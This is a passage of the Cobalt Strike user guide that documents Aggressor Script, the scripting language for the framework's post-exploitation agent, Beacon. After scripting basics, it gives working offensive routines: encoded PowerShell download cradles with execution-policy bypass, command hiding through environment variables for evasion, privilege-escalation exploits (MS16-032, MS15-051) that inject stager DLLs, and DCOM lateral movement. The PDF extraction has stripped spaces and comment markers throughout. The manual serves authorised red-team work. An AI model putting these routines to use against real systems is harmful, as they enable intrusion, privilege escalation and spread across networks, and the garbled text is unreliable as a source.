BeaconObjectFiles/FormattingBOFOutput 62 format = BeaconDataInt(&parser); 63 ReadvirtualMemory(module, function, size, format); 64 } InthisBOF,usershavetheoptiontoreadanarbitrarynumberofbytesofafunctionwithinthe currentprocessanddisplayitinspecificformats.UsingtheBeaconFormatAPI,thisbecomes trivialtodo. Forexample,youcandisplaybytesasfollows: Thismakesiteasytocopypastetheoutputandputitinadecompilerlikeso: Otherswouldratherhaveallthebytesrightnexttoeachotherlikeso: CobaltStrikeUserGuide www.fortra.com page:185

AggressorScript/WhatisAggressorScript? Aggressor Script What is Aggressor Script? AggressorScriptisthescriptinglanguagebuiltintoCobaltStrike,version3.0,andlater. AggressorScriptallowsyoutomodifyandextendtheCobaltStrikeclient. History AggressorScriptisthespiritualsuccessortoCortana,theopensourcescriptingenginein Armitage.CortanawasmadepossiblebyacontractthroughDARPA'sCyberFastTrack program.CortanaallowsitsuserstoextendArmitageandcontroltheMetasploitFramework anditsfeaturesthroughArmitage'steamserver.CobaltStrike3.0isaground-uprewriteof CobaltStrikewithoutArmitageasafoundation.Thischangeaffordedanopportunitytorevisit CobaltStrike'sscriptingandbuildsomethingaroundCobaltStrike'sfeatures.Theresultofthis workisAggressorScript. AggressorScriptisascriptinglanguageforredteamoperationsandadversarysimulations inspiredbyscriptableIRCclientsandbots.Itspurposeistwo-fold.Youmaycreatelongrunning botsthatsimulatevirtualredteammembers,hackingside-by-sidewithyou.Youmayalsouseit toextendandmodifytheCobaltStrikeclienttoyourneeds. Status AggressorScriptispartofCobaltStrike3.0'sfoundation.Mostpopupmenusandthe presentationofeventsinCobaltStrike3.0aremanagedbytheAggressorScriptengine.That said,AggressorScriptisstillinitsinfancy.StrategicCyberLLChasyettobuildAPIsformostof CobaltStrike'sfeatures.ExpecttoseeAggressorScriptevolveovertime.Thisdocumentationis alsoaworkinprogress. How to Load Scripts AggressorScriptisbuiltintotheCobaltStrikeclient.Topermanentlyloadascript,gotoCobalt Strike -> Script ManagerandpressLoad. CobaltStrikeUserGuide www.fortra.com page:186

AggressorScript/TheScriptConsole figure69-CobaltStrikeScriptLoader The Script Console CobaltStrikeprovidesaconsoletocontrolandinteractwithyourscripts.Throughtheconsole youmaytrace,profile,debug,andmanageyourscripts.TheAggressorScriptconsoleis availableviaView -> Script Console. Thefollowingcommandsareavailableintheconsole: Command Arguments What it does ? "foo"iswm"foobar" evaluateasleeppredicateandprintresult e println("foo"); evaluateasleepstatement help listallofthecommandsavailable load /path/to/script.cna loadanAggressorScriptscript ls listallofthescriptsloaded proff script.cna disabletheSleepprofilerforthescript profile script.cna dumpsperformancestatisticsforthescript. pron script.cna enablestheSleepprofilerforthescript reload script.cna reloadsthescript troff script.cna disablefunctiontraceforthescript tron script.cna enablefunctiontraceforthescript unload script.cna unloadthescript x 2+2 evaluateasleepexpressionandprintresult CobaltStrikeUserGuide www.fortra.com page:187

AggressorScript/HeadlessCobaltStrike figure70-Interactingwiththescriptconsole Headless Cobalt Strike YoumayuseAggressorScriptswithouttheCobaltStrikeGUI.Theagscriptprogram(included withtheCobaltStrikeLinuxpackage)runstheheadlessCobaltStrikeclient.Theagscript programrequiresfourarguments: ./agscript [host] [port] [user] [password] TheseargumentsconnecttheheadlessCobaltStrikeclienttotheteamserveryouspecify.The headlessCobaltStrikeclientpresentstheAggressorScriptconsole. Youmayuseagscripttoimmediatelyconnecttoateamserverandrunascriptofyour choosing.Use: ./agscript [host] [port] [user] [password] [/path/to/script.cna] ThiscommandwillconnecttheheadlessCobaltStrikeclienttoateamserver,loadyourscript, andrunit.TheheadlessCobaltStrikeclientwillrunyourscriptbeforeitsynchronizeswiththe teamserver.Useon readytowaitfortheheadlessCobaltStrikeclienttofinishthedata synchronizationstep. on ready { println("Hello World! I am synchronized!"); closeClient(); } AQuick Sleep Introduction CobaltStrikeUserGuide www.fortra.com page:188

AggressorScript/AQuickSleepIntroduction AggressorScriptbuildsonRaphaelMudge'sSleepScriptingLanguage.TheSleepmanualis availableathttp://sleep.dashnine.org/manual AggressorScriptwilldoanythingthatSleepdoessuchas: l Sleep'ssyntax,operators,andidiomsaresimilartothePerlscriptinglanguage.Thereis onemajordifferencethatcatchesnewprogrammers.Sleeprequireswhitespace betweenoperatorsandtheirterms.Thefollowingcodeisnotvalid: $x=1+2; # this will not parse!! Thisstatementisvalidthough: $x = 1 + 2; l Sleepvariablesarecalledscalarsandscalarsholdstrings,numbersinvariousformats, Javaobjectreferences,functions,arrays,anddictionaries.Hereareseveral assignmentsinSleep: $x = "Hello World"; $y = 3; $z = @(1, 2, 3, "four"); $a = %(a => "apple", b => "bat", c => "awesome language", d => 4); l Arraysanddictionariesarecreatedwiththe@ and% functions.Arraysanddictionaries mayreferenceotherarraysanddictionaries.Arraysanddictionariesmayevenreference themselves. l Commentsbeginwitha#andgountiltheendoftheline. l Sleepinterpolatesdouble-quotedstrings.Thismeansthatanywhite-spaceseparated tokenbeginningwitha$ signisreplacedwithitsvalue.Thespecialvariable$+ concatenatesaninterpolatedstringwithanothervalue. println("$a is: $a and \n$x joined with $y is: $x $+ $y"); Thiswillprintout: $a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and $x joined with $y is: Hello World3 l There'safunctioncalled&warn.Itworkslike&println,exceptitincludesthecurrent scriptnameandalinenumbertoo.Thisisagreatfunctiontodebugcodewith. l Sleepfunctionsaredeclaredwiththesubkeyword.Argumentstofunctionsarelabeled $1,$2,allthewayupto$n.Functionswillacceptanynumberofarguments.The variable@isanarraycontainingalloftheargumentstoo.Changesto$1,$2,etc.will alterthecontentsof@. CobaltStrikeUserGuide www.fortra.com page:189

AggressorScript/InteractingwiththeUser sub addTwoValues { println($1 + $2); } addTwoValues("3", 55.0); Thisscriptprintsout: 58.0 l InSleep,afunctionisafirst-classtypelikeanyotherobject.Hereareafewthingsthat youmaysee: $addf = &addTwoValues; l The$addfvariablenowreferencesthe&addTwoValuesfunction.Tocallafunction enclosedinavariable,use: [$addf : "3", 55.0]; l ThisbracketnotationisalsousedtomanipulateJavaobjects.Irecommendreadingthe Sleepmanualifyou'reinterestedinlearningmoreaboutthis.Thefollowingstatements areequivalentandtheydothesamething: [$addf : "3", 55.0]; [&addTwoValues : "3", 55.0]; [{ println($1 + $2); } : "3", 55.0]; addTwoValues("3", 55.0); l Sleephasthreevariablescopes:global,closure-specific,andlocal.TheSleepmanual coversthisinmoredetail.Ifyouseelocal('$x$y$z')inanexample,itmeansthat$x,$y, and$zarelocaltothecurrentfunctionandtheirvalueswilldisappearwhenthefunction returns.Sleepuseslexicalscopingforitsvariables. Sleephasalloftheotherbasicconstructsyou'dexpectinascriptinglanguage.Youshouldread themanualtolearnmoreaboutit. Interacting with the User AggressorScriptdisplaysoutputusingSleep's&println,&printAll,&writeb,and&warnfunctions. Thesefunctionsdisplayoutputtothescriptconsole. Scriptsmayregistercommandsaswell.Thesecommandsallowscriptstoreceiveatrigger fromtheuserthroughtheconsole.Usethecommandkeywordtoregisteracommand: CobaltStrikeUserGuide www.fortra.com page:190

AggressorScript/CobaltStrike command foo{ println("Hello $1"); } Thiscodesnippetregistersthecommandfoo.Thescriptconsoleautomaticallyparsesthe argumentstoacommandandsplitsthembywhitespaceintotokensforyou.$1isthefirst token,$2isthesecondtoken,andsoon.Typically,tokensareseparatedbyspacesbutusers mayuse"doublequotes"tocreateatokenwithspaces.Ifthisparsingisdisruptivetowhatyou'd liketodowiththeinput,use$0toaccesstherawtextpassedtothecommand. figure71-CommandOutput Colors YoumayaddcolorandstylestotextthatisoutputinCobaltStrike'sconsoles.The\c,\U,and \oescapestellCobaltStrilehowtoformattext.Theseescapesareparsedinsideofdouble- quotedstringsonly. The\cXescapecolorsthetextthatcomesafterit.Xspecifiesthecolor.Yourcolorchoicesare: figure72-ColorOptions The\Uescapeunderlinesthetextthatcomesafterit.Asecond\Ustopstheunderlineformat. The\oescaperesetstheformatofthetextthatcomesafterit.Anewlineresetstextformatting aswell. Cobalt Strike The Cobalt Strike Client TheAggressorScriptengineisthegluefeatureinCobaltStrike.MostCobaltStrikedialogsand featuresarewrittenasstand-alonemodulesthatexposesomeinterfacetotheAggressorScript engine. CobaltStrikeUserGuide www.fortra.com page:191

AggressorScript/CobaltStrike Aninternalscript,default.cna,definesthedefaultCobaltStrikeexperience.Thisscriptdefines CobaltStrike'stoolbarbuttons,popupmenus,anditalsoformatstheoutputformostCobalt Strikeevents. ThischapterwillshowyouhowthesefeaturesworkandempoweryoutoshapetheCobalt Strikeclienttoyourneeds. figure73-Thedefault.cnascript Keyboard Shortcuts Scriptsmaycreatekeyboardshortcuts.Usethebindkeywordtobindakeyboardshortcut.This exampleshowsHello World!inadialogboxwhenCtrlandHarepressedtogether. bind Ctrl+H { show_message("Hello World!"); } CobaltStrikeUserGuide www.fortra.com page:192

AggressorScript/CobaltStrike KeyboardshortcutsmaybeanyASCIIcharactersoraspecialkey.Shortcutsmayhaveoneor moremodifiersappliedtothem.Amodifierisoneof:Ctrl,Shift,Alt,orMeta.Scriptsmayspecify themodifier+key. Popup Menus ScriptsmayalsoaddtoCobaltStrike'smenustructureorre-defineit.Thepopupkeywordbuilds amenuhierarchyforapopuphook. Here'sthecodethatdefinesCobaltStrike'shelpmenu: popup help { item("&Homepage", { url_open("https://www.cobaltstrike.com/"); }); item("&Support", { url_open("https://www.cobaltstrike.com/support"); }); item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); }); separator(); item("&Malleable C2 Profile", { openMalleableProfileDialog(); }); item("&System Information", { openSystemInformationDialog(); }); separator(); item("&About", { openAboutDialog(); }); } Thisscripthooksintothehelppopuphookanddefinesseveralmenuitems.The&inthemenu itemnameisitskeyboardaccelerator.Thecodeblockassociatedwitheachitemexecutes whentheuserclicksonit. Scriptsmaydefinemenuswithchildrenaswell.Themenukeyworddefinesanewmenu.When theuserhoversoverthemenu,theblockofcodeassociatedwithitisexecutedandusedto buildthechildmenu. Here'sthePivotGraphmenuasanexampleofthis: popup pgraph { menu "&Layout" { item "&Circle" { graph_layout($1, "circle"); } item "&Stack" { graph_layout($1, "stack"); } menu "&Tree" { item "&Bottom" { graph_layout($1, "tree-bottom"); } item "&Left" { graph_layout($1, "tree-left"); } item "&Right" { graph_layout($1, "tree-right"); } item "&Top" { graph_layout($1, "tree-top"); } } separator(); item "&None" { graph_layout($1, "none"); } CobaltStrikeUserGuide www.fortra.com page:193

AggressorScript/CobaltStrike } } IfyourscriptspecifiesamenuhierarchyforaCobaltStrikemenuhook,itwilladdtothemenus thatarealreadyinplace.Usethe&popup_clearfunctiontocleartheotherregisteredmenu itemsandre-defineapopuphierarchytoyourtaste. Custom Output ThesetkeywordinAggressorScriptdefineshowtoformataneventandpresentitsoutputto theuser.Here'sanexampleofthesetkeyword: set EVENT_SBAR_LEFT { return "[" . tstamp(ticks()) . "] " . mynick(); } set EVENT_SBAR_RIGHT { return "[lag: $1 $+ ]"; } TheabovecodedefinesthecontentofthestatusbarinCobaltStrike'sEventLog(View -> Event Log).Theleftsideofthisstatusbarshowsthecurrenttimeandyournickname.Therightside showstheround-triptimeforamessagebetweenyourCobaltStrikeclientandtheteamserver. YoumayoverrideanysetoptionintheCobaltStrikedefaultscript.Createyourownfilewith definitionsforeventsyoucareabout.LoaditintoCobaltStrike.CobaltStrikewilluseyour definitionsoverthebuilt-inones. Events Usetheonkeywordtodefineahandlerforanevent.ThereadyeventfireswhenCobaltStrikeis connectedtotheteamserverandreadytoactonyourbehalf. on ready { show_message("Ready for action!"); } CobaltStrikegenerateseventsforavarietyofsituations.Usethe*meta-eventtowatchall eventsCobaltStrikefires. on * { local('$handle $event $args'); CobaltStrikeUserGuide www.fortra.com page:194

AggressorScript/DataModel $event = shift(@); $args = join(" ", @); $handle = openf(">>eventspy.txt"); writeb($handle, "[ $+ $event $+ ] $args"); closef($handle); } Data Model CobaltStrike'steamserverstoresyourhosts,services,credentials,andotherinformation.It alsobroadcaststhisinformationandmakesitavailabletoallclients. Data API Usethe&data_queryfunctiontoqueryCobaltStrike'sdatamodel.Thisfunctionhasaccessto allstateandinformationmaintainedbytheCobaltStrikeclient.Use&data_keystogetalistof thedifferentpiecesofdatayoumayquery.ThisexamplequeriesalldatainCobaltStrike'sdata modelandexportsittoatextfile: command export { local('$handle $model $row $entry $index'); $handle = openf(">export.txt"); foreach $model (data_keys()) { println($handle, "== $model =="); println($handle, data_query($model)); } closef($handle); println("See export.txt for the data."); } CobaltStrikeprovidesseveralfunctionsthatmakeitmoreintuitivetoworkwiththedatamodel. Model Function Description applications &applications SystemProfilerResults[View -> Applications] archives &archives Engagementevents/activities CobaltStrikeUserGuide www.fortra.com page:195

AggressorScript/Listeners Model Function Description beacons &beacons Activebeacons credentials &credentials Usernames,passwords,etc. downloads &downloads Downloadedfiles keystrokes &keystrokes KeystrokesreceivedbyBeacon screenshots &screenshots ScreenshotscapturedbyBeacon services &services Servicesandserviceinformation sites &sites AssetshostedbyCobaltStrike socks &pivots SOCKSproxyserversandportforwards targets &targets Hostsandhostinformation Thesefunctionsreturnanarraywithonerowforeachentryinthedatamodel.Eachentryisa dictionarywithdifferentkey/valuepairsthatdescribetheentry. ThebestwaytounderstandthedatamodelistoexploreitthroughtheAggressorScript console.GotoView -> Script Consoleandusethexcommandtoevaluateanexpression.For example: figure74-QueryingDatafromtheAggressorScriptconsole Useon DATA_KEYtosubscribetochangestoaspecificdatamodel. on keystrokes { println("I have new keystrokes: $1"); } Listeners CobaltStrikeUserGuide www.fortra.com page:196

AggressorScript/Listeners ListenersareCobaltStrike'sabstractionontopofpayloadhandlers.Alistenerisaname attachedtopayloadconfigurationinformation(e.g.,protocol,host,port,etc.)and,insome cases,apromisetosetupaservertoreceiveconnectionsfromthedescribedpayload. Listener API AggressorScriptaggregateslistenerinformationfromalloftheteamserversyou'recurrently connectedto.Thismakesiteasytopasssessionstoanotherteamserver.Togetalistofall listenernames,usethe&listenersfunction.Ifyouwouldliketoworkwithlocallistenersonly,use &listeners_local.The&listener_infofunctionresolvesalistenernametoitsconfiguration information.ThisexampledumpsalllistenersandtheirconfigurationtotheAggressorScript console: command listeners { local('$name $key $value'); foreach $name (listeners()) { println("== $name == "); foreach $key => $value (listener_info($name)) { println("$[20]key : $value"); } } } Creating Listeners Use&listener_create_exttocreatealistenerandstartapayloadhandlerassociatedwithit. Choosing Listeners Use&openPayloadHelpertoopenadialogthatlistsallavailablelisteners.Aftertheuserselects alistener,thisdialogwillclose,andCobaltStrikewillrunacallbackfunction.Here'sthesource codeforBeacon'sspawnmenu: item "&Spawn" { openPayloadHelper(lambda({ binput($bids, "spawn $1"); bspawn($bids, $1); }, $bids => $1)); } Stagers CobaltStrikeUserGuide www.fortra.com page:197

AggressorScript/Listeners Astagerisatinyprogramthatdownloadsapayloadandpassesexecutiontoit.Stagersare idealforsize-constrainedpayloaddeliveryvector(e.g.,auser-drivenattack,amemory corruptionexploit,oraone-linercommand.Stagersdohavedownsidesthough.Theyintroduce anadditionalcomponenttoyourattackchainthatispossibletodisrupt.CobaltStrike'sstagers arebasedonthestagersintheMetasploitFrameworkandthesearewell-signaturedand understoodinmemoryaswell.Usepayload-specificstagersifyoumust;butit'sbesttoavoid themotherwise. Use&stagertoexportapayloadstagertiedtoaCobaltStrikepayload.Notallpayloadoptions haveanexplicitpayloadstager.Notallstagershavex64options. The&artifact_stagerfunctionwillexportaPowerShellscript,executable,orDLLthatrunsa stagerassociatedwithaCobaltStrikepayload. Local Stagers Forpost-exploitationactionsthatrequiretheuseofastager,usealocalhost-onlybind_tcp stager.Theuseofthisstagerallowsastaging-requiredpost-exploitationactiontoworkwithall ofCobaltStrike'spayloadsequally. Use&stager_bind_tcptoexportabind_tcppayloadstager.Use&beacon_stage_tcptodelivera payloadtothisstager. &artifact_generalwillacceptthisarbitrarycodeandgenerateaPowerShellscript,executable,or DLLtohostit. Named Pipe Stager CobaltStrikedoeshaveabind_pipestagerthatisusefulforsomelateralmovementsituations. Thisstagerisx86only.Use&stager_bind_pipetoexportthisbind_pipestager.Use&beacon_ stage_pipetodeliverapayloadtothisstager. &artifact_generalwillacceptthisarbitrarycodeandgenerateaPowerShellscript,executable,or DLLtohostit. Stageless Payloads Use&payloadtoexportaCobaltStrikepayload(initsentirety)asaready-to-runposition- independentprogram. &artifact_payloadwillexportaPowerShellscript,executable,orDLLthatcontaintsthispayload. CobaltStrikeUserGuide www.fortra.com page:198

AggressorScript/Beacon Beacon BeaconisCobaltStrike'sasynchronouspost-exploitationagent.Inthischapter,wewillexplore optionstoautomateBeaconwithCobaltStrike'sAggressorScript. Metadata CobaltStrikeassignsasessionIDtoeachBeacon.ThisIDisarandomnumber.CobaltStrike associatestasksandmetadatawitheachBeaconID.Use&beaconstoquerymetadataforall currentBeaconsessions.Use&beacon_infotoquerymetadataforaspecificBeaconsession. Here'sascripttodumpinformationabouteachBeaconsession: command beacons { local('$entry $key $value'); foreach $entry (beacons()) { println("== " . $entry['id'] . " =="); foreach $key => $value ($entry) { println("$[20]key : $value"); } println(); } } Aliases YoumaydefinenewBeaconcommandswiththealiaskeyword.Here'sahelloaliasthatprints HelloWorldinaBeaconconsole. alias hello { blog($1, "Hello World!"); } Puttheaboveintoascript,loaditintoCobaltStrike,andopenaBeaconconsole.Thenenterin thehellocommandandpressenter.CobaltStrikewilleventabcompleteyouraliasesforyou. YoushouldseeHelloWorld!intheBeaconconsole. Youmayalsousethe&aliasfunctiontodefineanalias. CobaltStrikepassesthefollowingargumentstoanalias:$0isthealiasnameandarguments withoutanyparsing.$1istheIDoftheBeaconthealiaswastypedfrom.Thearguments$2and oncontainanindividualargumentpassedtothealias.Thealiasparsersplitsargumentsby spaces.Usersmayuse"doublequotes"togroupwordsintooneargument. CobaltStrikeUserGuide www.fortra.com page:199

AggressorScript/Beacon alias saywhat { blog($1, "My arguments are: " . substr($0, 8) . "\n"); } YoumayalsoregisteryouraliaseswithBeacon'shelpsystem.Use&beacon_command_register toregisteracommand. AliasesareaconvenientwaytoextendBeaconandmakeityourown.Aliasesalsoplaywellinto CobaltStrike'sthreatemulationrole.Youmayusealiasestoscriptcomplexpost-exploitation actionsinawaythatmapstoanotheractor'stradecraft.Yourredteamoperatorssimplyneed toloadascript,learnthealiases,andtheycanoperatewithyourscriptedtacticsinawaythat's consistentwiththeactoryou'reemulating. Reacting to new Beacons AcommonuseofAggressorScriptistoreacttonewBeacons.Usethebeacon_initialeventto setupcommandsthatshouldrunwhenaBeaconchecksinforthefirsttime. on beacon_initial {

do some stuff

} The$1argumenttobeacon_initialistheIDofthenewBeacon. Thebeacon_initialeventfireswhenaBeaconreportsmetadataforthefirsttime.Thismeansa DNSBeaconwillnotfirebeacon_initialuntilitsaskedtorunacommand.TointeractwithaDNS Beaconthatcallshomeforthefirsttime,usethebeacon_initial_emptyevent.

some sane defaults for DNS Beacon

on beacon_initial_empty { bmode($1, "dns-txt"); bcheckin($1); } Popup Menus YoumayalsoaddontoBeaconspopupmenu.Aliasesarenice,buttheyonlyaffectoneBeacon atatime.Throughapopupmenu,yourscript'susersmaytaskmultipleBeaconstotakethe desiredactionatonetime. Thebeacon_topandbeacon_bottompopuphooksletyouaddtothedefaultBeaconmenu. TheargumenttotheBeaconpopuphooksisanarrayofselectedBeaconIDs. CobaltStrikeUserGuide www.fortra.com page:200

AggressorScript/Beacon popup beacon_bottom { item "Run All..." { prompt_text("Which command to run?", "whoami /groups", lambda({ binput(@ids, "shell $1"); bshell(@ids, $1); }, @ids => $1)); } } The Logging Contract CobaltStrike3.0andlaterdoadecentjoboflogging.EachcommandissuedtoaBeaconis attributedtoanoperatorwithadateandtimestamp.TheBeaconconsoleintheCobaltStrike clienthandlesthislogging.Scriptsthatexecutecommandsfortheuserdonotrecord commandsoroperatorattributiontothelog.Thescriptisresponsiblefordoingthis.Usethe &binputfunctiontodothis.ThiscommandwillpostamessagetotheBeacontranscriptasif theuserhadtypedacommand. Acknowledging Tasks Customaliasesshouldcallthe&btaskfunctiontodescribetheactiontheuseraskedfor.This outputissenttotheBeaconlogandit'salsousedinCobaltStrike'sreports.MostAggressor ScriptfunctionsthatissueatasktoBeaconwillprinttheirownacknowledgementmessage.If you'dliketosuppressthis,add!tothefunctionname.Thiswillrunthequietvariantofthe function.Aquietfunctiondoesnotprintataskacknowledgement.Forexample,&bshell!isthe quietvariantof&bshell. alias survey { btask($1, "Surveying the target!", "T1082"); bshell!($1, "echo Groups && whoami /groups"); bshell!($1, "echo Processes && tasklist /v"); bshell!($1, "echo Connections && netstat -na | findstr "EST""); bshell!($1, "echo System Info && systeminfo"); } Thelastargumentto&btaskisacomma-separatedlistofATT&CKtechniques.T1082is SystemInformationDiscovery.ATT&CKisaprojectfromtheMITRECorporationtocategorize anddocumentattackeractions.CobaltStrikeusesthesetechniquestobuilditsTactics, Techniques,andProceduresreport.YoumaylearnmoreaboutMITRE'sATT&CKmatrixat: https://attack.mitre.org/ Conquering the Shell CobaltStrikeUserGuide www.fortra.com page:201

AggressorScript/Beacon Aliasesmayoverrideexistingcommands.Here'sanAggressorScriptimplementationof Beacon'spowershellcommand: alias powershell { local('$args $cradle $runme $cmd');

$0 is the entire command with no parsing.

$args = substr($0, 11);

generate the download cradle (if one exists) for an imported PowerShell script

$cradle = beacon_host_imported_script($1);

encode our download cradle AND cmdlet+args we want to run

$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

Build up our entire command line.

$cmd = " -nop -exec bypass -EncodedCommand " $+ $runme $+ "";

task Beacon to run all of this.

btask($1, "Tasked beacon to run: $args", "T1086"); beacon_execute_job($1, "powershell", $cmd, 1); } ThisaliasdefinesapowershellcommandforusewithinBeacon.Weuse$0tograbthedesired PowerShellstringwithoutanyparsing.It'simportanttoaccountforanimportedPowerShell script(iftheuserimportedonewithpowershell-import).Weuse&beacon_host_imported_script forthis.ThisfunctiontasksBeacontohostanimportedscriptonaone-offwebserverboundto localhost.ItalsoreturnsastringwiththePowerShelldownloadcradlethatdownloadsand evaluatestheimportedscript.The-EncodedCommandflaginPowerShellacceptsascriptasa base64string.There'sonewrinkle.WemustencodeourstringaslittleendianUTF16text.This aliasuses&str_encodetodothis.The&btaskcalllogsthisrunofPowerShellandassociatesit withtacticT1086.The&beacon_execute_jobfunctiontasksBeacontorunpowershelland reportitsoutputbacktoBeacon. Similarly,wemayre-definetheshellcommandinBeacontoo.Thisaliascreatesanalternate shellcommandthathidesyourWindowscommandsinanenvironmentvariable. alias shell { local('$args'); $args = substr($0, 6); btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059"); bsetenv!($1, "", $args); beacon_execute_job($1, "%COMSPEC%", " /C %%", 0); } CobaltStrikeUserGuide www.fortra.com page:202

AggressorScript/Beacon The&btaskcalllogsourintentionandassociatesitwithtacticT1059.The&bsetenvassignsour Windowscommandtotheenvironmentvariable_.Thescriptuses!tosuppress&bsetenv'stask acknowledgement.The&beacon_execute_jobfunctionruns%COMSPEC%withargumnents /C %%.Thisworksbecause&beacon_execute_jobwillresolveenvironmentvariablesinthe commandparameter.Itdoesnotresolveenvironmentvariablesintheargumentparameter. Becauseofthis,wecanuse%COMSPEC%tolocatetheuser'sshell,butpass%%asan argumentwithoutimmediateinterpolation. Privilege Escalation (Run a Command) Beacon'srunasadmincommandattemptstorunacommandinanelevatedcontext.This commandacceptsanelevatornameandacommand(commandANDarguments:)).The &beacon_elevator_registerfunctionmakesanewelevatoravailabletorunasadmin.. beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator); Thiscoderegisterstheelevatorms16-032withBeacon'srunasadmincommand.Adescription isgivenaswell.Whentheusertypesrunasadmin ms16-032 notepad.exe,CobaltStrikewill run&ms16_032_elevatorwiththesearguments:$1isthebeaconsessionID.$2isthe commandandarguments.Here'sthe&ms16_032_elevatorfunction:

Integrate ms16-032

Sourced from Empire:

https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc sub ms16_032_elevator { local('$handle $script $oneliner');

acknowledge this command

btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");

read in the script

$handle = openf(getFileProper(script_resource("modules"), "Invoke- MS16032.ps1")); $script = readb($handle, -1); closef($handle);

host the script in Beacon

$oneliner = beacon_host_script($1, $script);

run the specified command via this exploit.

bpowerpick!($1, "Invoke-MS16032 -Command " $+ $2 $+ "", $oneliner); } CobaltStrikeUserGuide www.fortra.com page:203

AggressorScript/Beacon Thisfunctionuses&btasktoacknowledgetheactiontotheuser.Thedescriptionin&btaskwill goinCobaltStrike'slogsandreportsaswell.T1068istheMITREATT&CKtechniquethat correspondstothisaction. Theendofthisfunctionuses&bpowerpicktorunInvoke-MS16032withanargumenttorun ourcommand.ThePowerShellscriptthatimplementsInvoke-MS16032istoolargeforaone- linerthough.Tomitigatethis,theelevatorfunctionuses&beacon_host_scripttohostthelarge scriptwithinBeacon.The&beacon_host_scriptfunctionreturnsaone-linertograbthishosted scriptandevaluateit. Theexclamationpointafter&bpowerpicktellsAggressorScripttocallthequietvariantsofthis function.Quietfunctionsdonotprintataskdescription. There'snotmuchelsetodescribehere.Acommandelevatorscriptjustneedstoruna command.:) Privilege Escalation (Spawn a Session) Beacon'selevatecommandattemptstospawnanewsessionwithelevatedprivileges.This commandacceptsanexploitnameandalistener.The&beacon_exploit_registerfunction makesanewexploitavailabletoelevate. beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit); Thiscoderegisterstheexploitms15-051withBeacon'selevatecommand.Adescriptionis givenaswell.Whentheusertypeselevate ms15-051 foo,CobaltStrikewillrun&ms15_051_ exploitwiththesearguments:$1isthebeaconsessionID.$2isthelistenername(e.g.,foo). Here'sthe&ms15_051_exploitfunction:

Integrate windows/local/ms15_051_client_copy_image from Metasploit

https://github.com/rapid7/metasploit-

framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb sub ms15_051_exploit { local('$stager $arch $dll');

acknowledge this command

btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");

tune our parameters based on the target arch

if (-is64 $1) { $arch = "x64"; $dll = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll"); } CobaltStrikeUserGuide www.fortra.com page:204

AggressorScript/Beacon else { $arch = "x86"; $dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll"); }

generate our shellcode

$stager = payload($2, $arch);

spawn a Beacon post-ex job with the exploit DLL

bdllspawn!($1, $dll, $stager, "ms15-051", 5000);

link to our payload if it's a TCP or SMB Beacon

beacon_link($1, $null, $2); } Thisfunctionuses&btasktoacknowledgetheactiontotheuser.Thedescriptionin&btaskwill goinCobaltStrike'slogsandreportsaswell.T1068istheMITREATT&CKtechniquethat correspondstothisaction. ThisfunctionrepurposesanexploitfromtheMetasploitFramework.Thisexploitiscompiledas cve-2015-1701.[arch].dllwithx86andx64variants.Thisfunction'sfirsttaskistoreadthe exploitDLLthatcorrespondstothetargetsystem'sarchitecture.The-is64predicatehelpswith this. The&payloadfunctiongeneratesrawoutputforourlistenernameandthespecified architecture. The&bdllspawnfunctionspawnsatemporaryprocess,injectsourexploitDLLintoit,and passesourexportedpayloadasanargument.ThisisthecontracttheMetasploitFramework usestopassshellcodetoitsprivilegeescalationexploitsimplementedasReflectiveDLLs. Finally,thisfunctioncalls&beacon_link.IfthetargetlistenerisanSMBorTCPBeaconpayload, &beacon_linkwillattempttoconnecttoit. Lateral Movement (Run a Command) Beacon'sremote-execcommandattemptstorunacommandonaremotetarget.This commandacceptsaremote-execmethod,atarget,andacommand+arguments.The &beacon_remote_exec_method_registerfunctionisbothareallylongfunctionnameandmakes anewmethodavailabletoremote-exec. beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method); CobaltStrikeUserGuide www.fortra.com page:205

AggressorScript/Beacon Thiscoderegisterstheremote-execmethodcom-mmc20withBeacon'sremote-exec command.Adescriptionisgivenaswell.Whentheusertypesremote-exec com-mmc20 c:\windows\temp\malware.exe,CobaltStrikewillrun&mmc20_exec_methodwiththese arguments:$1isthebeaconsessionID.$2isthetarget.$3isthecommandandarguments. Here'sthe&mmc20_exec_methodfunction: sub mmc20_exec_method { local('$script $command $args');

state what we're doing.

btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");

separate our command and arguments

if ($3 ismatch '(.?) (.)') { ($command, $args) = matched(); } else { $command = $3; $args = ""; }

build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application

object $script = '[activator]::CreateInstance([type]::GetTypeFromProgID ("MMC20.Application", "'; $script .= $2; $script .= '")).Document.ActiveView.ExecuteShellCommand("'; $script .= $command; $script .= '", $null, "'; $script .= $args; $script .= '", "7");';

run the script we built up

bpowershell!($1, $script, ""); } Thisfunctionuses&btasktoacknowledgethetaskanddescribeittotheoperator(andlogsand reports).T1175istheMITREATT&CKtechniquethatcorrespondstothisaction.Ifyouroffense techniquedoesnotfitintoMITREATT&CK,don'tfret.Somecustomersareverymuchreadyfor achallengeandbenefitwhentheirredteamcreativelydeviatesfromwhatareknownoffense techniques.Doconsiderwritingablogpostaboutitfortherestofuslater. Thisfunctionthensplitsthe$3argumentintocommandandargumentportions.Thisisdone becausethetechniquerequiresthatthesevaluesareseparate. Afterwards,thisfunctionbuildsupaPowerShellcommandstringthatlookslikethis: CobaltStrikeUserGuide www.fortra.com page:206

